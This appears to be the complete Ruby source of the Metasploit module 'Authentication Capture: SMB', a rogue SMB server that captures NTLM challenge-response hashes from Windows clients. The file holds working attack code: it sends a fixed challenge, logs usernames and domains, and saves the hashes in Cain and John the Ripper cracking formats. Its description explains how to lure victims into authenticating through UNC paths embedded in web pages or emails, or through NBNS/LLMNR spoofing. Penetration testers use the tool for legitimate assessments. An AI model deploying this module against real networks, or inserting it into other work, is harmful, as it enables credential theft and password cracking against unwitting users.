651 lines
22 KiB
Ruby
651 lines
22 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::SMB::Server
|
|
|
|
def initialize
|
|
super({
|
|
'Name' => 'Authentication Capture: SMB',
|
|
'Description' => %q{
|
|
This module provides a SMB service that can be used to capture the
|
|
challenge-response password hashes of SMB client systems. Responses
|
|
sent by this service have by default the configurable challenge string
|
|
(\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using
|
|
Cain & Abel, L0phtcrack or John the ripper (with jumbo patch).
|
|
|
|
To exploit this, the target system must try to authenticate to this
|
|
module. One way to force an SMB authentication attempt is by embedding
|
|
a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When
|
|
the victim views the web page or email, their system will
|
|
automatically connect to the server specified in the UNC share (the IP
|
|
address of the system running this module) and attempt to
|
|
authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to
|
|
respond to queries for names the victim is already looking for.
|
|
},
|
|
'Author' => 'hdm',
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [ [ 'Sniffer' ] ],
|
|
'PassiveActions' => [ 'Sniffer' ],
|
|
'DefaultAction' => 'Sniffer'
|
|
})
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
|
|
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in John format", nil ]),
|
|
OptString.new('CHALLENGE', [ true, "The 8 byte server challenge", "1122334455667788" ])
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new("SMB_EXTENDED_SECURITY",
|
|
[ true,
|
|
"Use smb extended security negotiation, when set client will use " \
|
|
"ntlmssp, if not then client will use classic lanman " \
|
|
"authentification",
|
|
false
|
|
]),
|
|
OptBool.new("NTLM_UseNTLM2_session",
|
|
[ true,
|
|
"Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " \
|
|
"When SMB_EXTENDED_SECURITY negotiate is set, client will use " \
|
|
"ntlm2_session instead of ntlmv1 (default on win 2K and above)",
|
|
false
|
|
]),
|
|
OptBool.new("USE_GSS_NEGOTIATION",
|
|
[ true,
|
|
"Send a gss_security blob in smb_negotiate response when SMB " \
|
|
"extended security is set. When this flag is not set, Windows will " \
|
|
"respond without gss encapsulation, Ubuntu will still use gss.",
|
|
true
|
|
]),
|
|
OptString.new('DOMAIN_NAME',
|
|
[ true,
|
|
"The domain name used during smb exchange with SMB_EXTENDED_SECURITY set.",
|
|
"anonymous"
|
|
])
|
|
])
|
|
|
|
end
|
|
|
|
def run
|
|
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
|
|
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
|
|
@s_gss_neg = datastore['USE_GSS_NEGOTIATION']
|
|
@domain_name = datastore['DOMAIN_NAME']
|
|
|
|
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
|
|
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
|
|
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
|
|
else
|
|
print_error("CHALLENGE syntax must match 1122334455667788")
|
|
return
|
|
end
|
|
|
|
# those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
|
|
@previous_lm_hash="none"
|
|
@previous_ntlm_hash="none"
|
|
exploit
|
|
end
|
|
|
|
def smb_cmd_dispatch(cmd, c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
#Record the IDs
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
case cmd
|
|
when CONST::SMB_COM_NEGOTIATE
|
|
# client set extended security negotiation
|
|
if pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0
|
|
smb_cmd_negotiate(c, buff, true)
|
|
else
|
|
smb_cmd_negotiate(c, buff, false)
|
|
end
|
|
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
|
|
wordcount = pkt['Payload']['SMB'].v['WordCount']
|
|
|
|
# CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
|
|
# This packet contains the lm/ntlm hashes
|
|
if wordcount == 0x0D
|
|
smb_cmd_session_setup(c, buff)
|
|
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
|
|
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
|
|
elsif wordcount == 0x0C
|
|
smb_cmd_session_setup_with_esn(c, buff)
|
|
else
|
|
print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
|
|
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
|
|
end
|
|
|
|
when CONST::SMB_COM_TREE_CONNECT
|
|
|
|
print_status("SMB Capture - Denying tree connect from #{smb[:name]} - #{smb[:ip]}")
|
|
smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn)
|
|
|
|
else
|
|
print_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
|
|
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
|
|
end
|
|
end
|
|
|
|
|
|
def smb_cmd_negotiate(c, buff, c_esn)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_NEG_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
group = ''
|
|
machine = smb[:nbsrc]
|
|
|
|
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
|
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
|
|
|
|
dialect =
|
|
dialects.index("NT LM 0.12") ||
|
|
dialects.length-1
|
|
|
|
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
|
smb_set_defaults(c, pkt)
|
|
|
|
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['WordCount'] = 17
|
|
pkt['Payload'].v['Dialect'] = dialect
|
|
pkt['Payload'].v['SecurityMode'] = 3
|
|
pkt['Payload'].v['MaxMPX'] = 2
|
|
pkt['Payload'].v['MaxVCS'] = 1
|
|
pkt['Payload'].v['MaxBuff'] = 4356
|
|
pkt['Payload'].v['MaxRaw'] = 65536
|
|
pkt['Payload'].v['SystemTimeLow'] = time_lo
|
|
pkt['Payload'].v['SystemTimeHigh'] = time_hi
|
|
pkt['Payload'].v['ServerTimeZone'] = 0x0
|
|
pkt['Payload'].v['SessionKey'] = 0
|
|
|
|
if c_esn && @s_smb_esn
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
|
pkt['Payload'].v['Capabilities'] = 0x8000e3fd
|
|
pkt['Payload'].v['KeyLength'] = 0
|
|
pkt['Payload'].v['Payload'] = @s_GUID
|
|
|
|
if @s_gss_neg
|
|
pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp
|
|
end
|
|
|
|
else
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload'].v['Capabilities'] = 0xe3fd
|
|
pkt['Payload'].v['KeyLength'] = 8
|
|
pkt['Payload'].v['Payload'] = @challenge +
|
|
Rex::Text.to_unicode(group) + "\x00\x00" +
|
|
Rex::Text.to_unicode(machine) + "\x00\x00"
|
|
end
|
|
|
|
c.put(pkt.to_s)
|
|
end
|
|
|
|
def smb_cmd_session_setup(c, buff)
|
|
smb = @state[c]
|
|
|
|
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
|
|
nt_len = pkt['Payload'].v['PasswordLenNT']
|
|
|
|
if nt_len == 24
|
|
arg = {
|
|
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
|
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
|
|
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
|
|
}
|
|
# if the length of the ntlm response is not 24 then it will be bigger
|
|
# and represent an NTLMv2 response
|
|
elsif nt_len > 24
|
|
arg = {
|
|
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
|
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
|
|
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
|
|
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
|
|
:nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
|
|
}
|
|
elsif nt_len == 0
|
|
print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
else
|
|
print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
|
|
buff = pkt['Payload'].v['Payload']
|
|
buff.slice!(0, lm_len + nt_len)
|
|
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
|
|
smb[:username] = names[0]
|
|
smb[:domain] = names[1]
|
|
smb[:peer_os] = names[2]
|
|
smb[:peer_lm] = names[3]
|
|
|
|
begin
|
|
smb_get_hash(smb,arg,false)
|
|
rescue ::Exception => e
|
|
print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
|
|
end
|
|
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
|
|
end
|
|
|
|
def smb_cmd_session_setup_with_esn(c, buff)
|
|
smb = @state[c]
|
|
|
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
securityblobLen = pkt['Payload'].v['SecurityBlobLen']
|
|
blob = pkt['Payload'].v['Payload'][0,securityblobLen]
|
|
|
|
# detect if GSS is being used
|
|
if blob[0,7] == 'NTLMSSP'
|
|
c_gss = false
|
|
else
|
|
c_gss = true
|
|
start = blob.index('NTLMSSP')
|
|
if start
|
|
blob.slice!(0,start)
|
|
else
|
|
print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
|
|
end
|
|
ntlm_message = NTLM_MESSAGE::parse(blob)
|
|
|
|
case ntlm_message
|
|
when NTLM_MESSAGE::Type1
|
|
# Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
|
|
|
|
if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY) != 0
|
|
c_ntlm_esn = true
|
|
else
|
|
c_ntlm_esn = false
|
|
end
|
|
pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
smb_set_defaults(c, pkt)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
|
|
pkt['Payload']['SMB'].v['WordCount'] = 4
|
|
pkt['Payload']['SMB'].v['UserID'] = 2050
|
|
pkt['Payload'].v['AndX'] = 0xFF
|
|
pkt['Payload'].v['Reserved1'] = 0x00
|
|
pkt['Payload'].v['AndXOffset'] = 283 #ignored by client
|
|
pkt['Payload'].v['Action'] = 0x0000
|
|
|
|
win_domain = Rex::Text.to_unicode(@domain_name.upcase)
|
|
win_name = Rex::Text.to_unicode(@domain_name.upcase)
|
|
dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
|
|
dns_name = Rex::Text.to_unicode(@domain_name.downcase)
|
|
|
|
# create the ntlmssp_challenge security blob
|
|
if c_ntlm_esn && @s_ntlm_esn
|
|
sb_flag = 0xe28a8215 # ntlm2
|
|
else
|
|
sb_flag = 0xe2828215 # no ntlm2
|
|
end
|
|
if c_gss
|
|
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall(
|
|
win_domain,
|
|
win_name,
|
|
dns_domain,
|
|
dns_name,
|
|
@challenge,
|
|
sb_flag
|
|
)
|
|
else
|
|
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall(
|
|
win_domain,
|
|
win_name,
|
|
dns_domain,
|
|
dns_name,
|
|
@challenge,
|
|
sb_flag
|
|
)
|
|
end
|
|
pkt['Payload'].v['SecurityBlobLen'] = securityblob.length
|
|
pkt['Payload'].v['Payload'] = securityblob
|
|
|
|
c.put(pkt.to_s)
|
|
|
|
when NTLM_MESSAGE::Type3
|
|
# we can process the hash and send a status_logon_failure response packet
|
|
|
|
# Record the remote multiplex ID
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
lm_len = ntlm_message.lm_response.length # Always 24
|
|
nt_len = ntlm_message.ntlm_response.length
|
|
|
|
if nt_len == 24 # lmv1/ntlmv1 or ntlm2_session
|
|
arg = {
|
|
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
|
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
|
|
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
|
|
}
|
|
|
|
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
|
|
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
end
|
|
# if the length of the ntlm response is not 24 then it will be
|
|
# bigger and represent an NTLMv2 response
|
|
elsif nt_len > 24 # lmv2/ntlmv2
|
|
arg = {
|
|
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
|
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
|
|
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
|
|
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
|
|
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
|
|
}
|
|
elsif nt_len == 0
|
|
print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
else
|
|
print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
return
|
|
end
|
|
|
|
buff = pkt['Payload'].v['Payload']
|
|
buff.slice!(0,securityblobLen)
|
|
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
|
|
smb[:username] = ntlm_message.user
|
|
smb[:domain] = ntlm_message.domain
|
|
smb[:peer_os] = names[0]
|
|
smb[:peer_lm] = names[1]
|
|
|
|
begin
|
|
smb_get_hash(smb,arg,true)
|
|
rescue ::Exception => e
|
|
print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}")
|
|
end
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
else
|
|
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
|
end
|
|
end
|
|
|
|
|
|
def smb_get_hash(smb, arg = {}, esn=true)
|
|
|
|
ntlm_ver = arg[:ntlm_ver]
|
|
|
|
lm_hash = arg[:lm_hash]
|
|
nt_hash = arg[:nt_hash]
|
|
|
|
# These are not used for NTLM_V1_RESPONSE or NTLM_2_SESSION_RESPONSE, so
|
|
# it's fine if they're nil
|
|
lm_cli_challenge = arg[:lm_cli_challenge]
|
|
nt_cli_challenge = arg[:nt_cli_challenge]
|
|
|
|
# Clean up the data for logging
|
|
if smb[:username] == ""
|
|
smb[:username] = nil
|
|
end
|
|
|
|
if smb[:domain] == ""
|
|
smb[:domain] = nil
|
|
end
|
|
|
|
# Check if we have default values (empty pwd, null hashes, ...) and adjust
|
|
# the on-screen messages correctly
|
|
case ntlm_ver
|
|
when NTLM_CONST::NTLM_V1_RESPONSE
|
|
if NTLM_CRYPT::is_hash_from_empty_pwd?(
|
|
{
|
|
:hash => [nt_hash].pack("H*"),
|
|
:srv_challenge => @challenge,
|
|
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
|
:type => 'ntlm'
|
|
}
|
|
)
|
|
print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
|
|
return
|
|
end
|
|
if lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/
|
|
lm_hash_message = "Disabled"
|
|
elsif NTLM_CRYPT::is_hash_from_empty_pwd?(
|
|
{
|
|
:hash => [lm_hash].pack("H*"),
|
|
:srv_challenge => @challenge,
|
|
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
|
:type => 'lm'
|
|
}
|
|
)
|
|
lm_hash_message = "Disabled (from empty password)"
|
|
else
|
|
lm_hash_message = lm_hash
|
|
lm_chall_message = lm_cli_challenge
|
|
end
|
|
when NTLM_CONST::NTLM_V2_RESPONSE
|
|
if NTLM_CRYPT::is_hash_from_empty_pwd?(
|
|
{
|
|
:hash => [nt_hash].pack("H*"),
|
|
:srv_challenge => @challenge,
|
|
:cli_challenge => [nt_cli_challenge].pack("H*"),
|
|
:user => Rex::Text::to_ascii(smb[:username]),
|
|
:domain => Rex::Text::to_ascii(smb[:domain]),
|
|
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
|
:type => 'ntlm'
|
|
}
|
|
)
|
|
print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
|
|
return
|
|
end
|
|
|
|
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
|
|
lm_hash_message = "Disabled"
|
|
lm_chall_message = 'Disabled'
|
|
elsif NTLM_CRYPT::is_hash_from_empty_pwd?(
|
|
{
|
|
:hash => [lm_hash].pack("H*"),
|
|
:srv_challenge => @challenge,
|
|
:cli_challenge => [lm_cli_challenge].pack("H*"),
|
|
:user => Rex::Text::to_ascii(smb[:username]),
|
|
:domain => Rex::Text::to_ascii(smb[:domain]),
|
|
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
|
:type => 'lm'
|
|
}
|
|
)
|
|
lm_hash_message = "Disabled (from empty password)"
|
|
lm_chall_message = 'Disabled'
|
|
else
|
|
lm_hash_message = lm_hash
|
|
lm_chall_message = lm_cli_challenge
|
|
end
|
|
|
|
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
if NTLM_CRYPT::is_hash_from_empty_pwd?(
|
|
{
|
|
:hash => [nt_hash].pack("H*"),
|
|
:srv_challenge => @challenge,
|
|
:cli_challenge => [lm_hash].pack("H*")[0,8],
|
|
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE,
|
|
:type => 'ntlm'
|
|
}
|
|
)
|
|
print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
|
|
return
|
|
end
|
|
lm_hash_message = lm_hash
|
|
lm_chall_message = lm_cli_challenge
|
|
end
|
|
|
|
# Display messages
|
|
if esn
|
|
smb[:username] = Rex::Text::to_ascii(smb[:username])
|
|
smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain]
|
|
end
|
|
|
|
capturedtime = Time.now.to_s
|
|
case ntlm_ver
|
|
when NTLM_CONST::NTLM_V1_RESPONSE
|
|
capturelogmessage = [
|
|
"SMB Captured - #{capturedtime}",
|
|
"NTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]}",
|
|
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}",
|
|
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"}",
|
|
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}",
|
|
].join("\n")
|
|
when NTLM_CONST::NTLM_V2_RESPONSE
|
|
capturelogmessage = [
|
|
"SMB Captured - #{capturedtime}",
|
|
"NTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]}",
|
|
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}",
|
|
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} ",
|
|
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}",
|
|
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} ",
|
|
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}",
|
|
].join("\n")
|
|
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
# we can consider those as netv1 has they have the same size and are
|
|
# cracked the same way by cain/jtr also 'real' netv1 is almost never
|
|
# seen nowadays except with smbmount or msf server capture
|
|
capturelogmessage = [
|
|
"SMB Captured - #{capturedtime}",
|
|
"NTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]}",
|
|
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}",
|
|
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}",
|
|
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} ",
|
|
].join("\n")
|
|
else # should not happen
|
|
return
|
|
end
|
|
|
|
print_status(capturelogmessage)
|
|
|
|
report_note(
|
|
:host => smb[:ip],
|
|
:type => "smb_peer_os",
|
|
:data => smb[:peer_os]
|
|
) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)
|
|
|
|
report_note(
|
|
:host => smb[:ip],
|
|
:type => "smb_peer_lm",
|
|
:data => smb[:peer_lm]
|
|
) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)
|
|
|
|
report_note(
|
|
:host => smb[:ip],
|
|
:type => "smb_domain",
|
|
:data => smb[:domain]
|
|
) if (smb[:domain] and smb[:domain].strip.length > 0)
|
|
|
|
return unless smb[:username]
|
|
|
|
if datastore['CAINPWFILE'] and smb[:username]
|
|
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
File.open(datastore['CAINPWFILE'], "ab") do |fd|
|
|
fd.puts(
|
|
[
|
|
smb[:username],
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
@challenge.unpack("H*")[0],
|
|
lm_hash.empty? ? "0" * 48 : lm_hash,
|
|
nt_hash.empty? ? "0" * 48 : nt_hash
|
|
].join(":").gsub(/\n/, "\\n")
|
|
)
|
|
end
|
|
end
|
|
end
|
|
|
|
return if @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash
|
|
@previous_lm_hash = lm_hash
|
|
@previous_ntlm_hash = nt_hash
|
|
|
|
creds = []
|
|
|
|
case ntlm_ver
|
|
when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
jtr_hash = [
|
|
smb[:username],"",
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
lm_hash.empty? ? "0" * 48 : lm_hash,
|
|
nt_hash.empty? ? "0" * 48 : nt_hash,
|
|
@challenge.unpack("H*")[0]
|
|
].join(":").strip
|
|
|
|
creds.push(jtr_format: 'netntlm', private_data: jtr_hash)
|
|
|
|
when NTLM_CONST::NTLM_V2_RESPONSE
|
|
# don't bother recording if LMv2 is disabled
|
|
unless lm_hash == '0'*32
|
|
# lmv2
|
|
jtr_hash = [
|
|
smb[:username],"",
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
@challenge.unpack("H*")[0],
|
|
lm_hash,
|
|
lm_cli_challenge
|
|
].join(":").strip
|
|
|
|
creds.push(jtr_format: 'netlmv2', private_data: jtr_hash)
|
|
end
|
|
|
|
# NTLMv2
|
|
jtr_hash = [
|
|
smb[:username],"",
|
|
smb[:domain] ? smb[:domain] : "NULL",
|
|
@challenge.unpack("H*")[0],
|
|
nt_hash.empty? ? "0" * 32 : nt_hash,
|
|
nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge
|
|
].join(":").strip
|
|
|
|
creds.push(jtr_format: 'netntlmv2', private_data: jtr_hash)
|
|
|
|
end
|
|
|
|
# TODO we probably need a new Origin::Capture for this
|
|
@origin ||= create_credential_origin_import(filename: 'msfconsole')
|
|
|
|
creds.each do |cred|
|
|
create_credential(
|
|
origin: @origin,
|
|
address: smb[:ip],
|
|
service_name: 'smb',
|
|
port: datastore['SRVPORT'],
|
|
private_data: cred[:private_data],
|
|
private_type: :nonreplayable_hash,
|
|
jtr_format: cred[:jtr_format],
|
|
username: smb[:username],
|
|
module_fullname: self.fullname,
|
|
workspace_id: myworkspace_id,
|
|
)
|
|
if datastore['JOHNPWFILE']
|
|
File.open(datastore['JOHNPWFILE'] + '_' + cred[:jtr_format] , "ab") do |fd|
|
|
fd.puts(cred[:private_data])
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|
|
end
|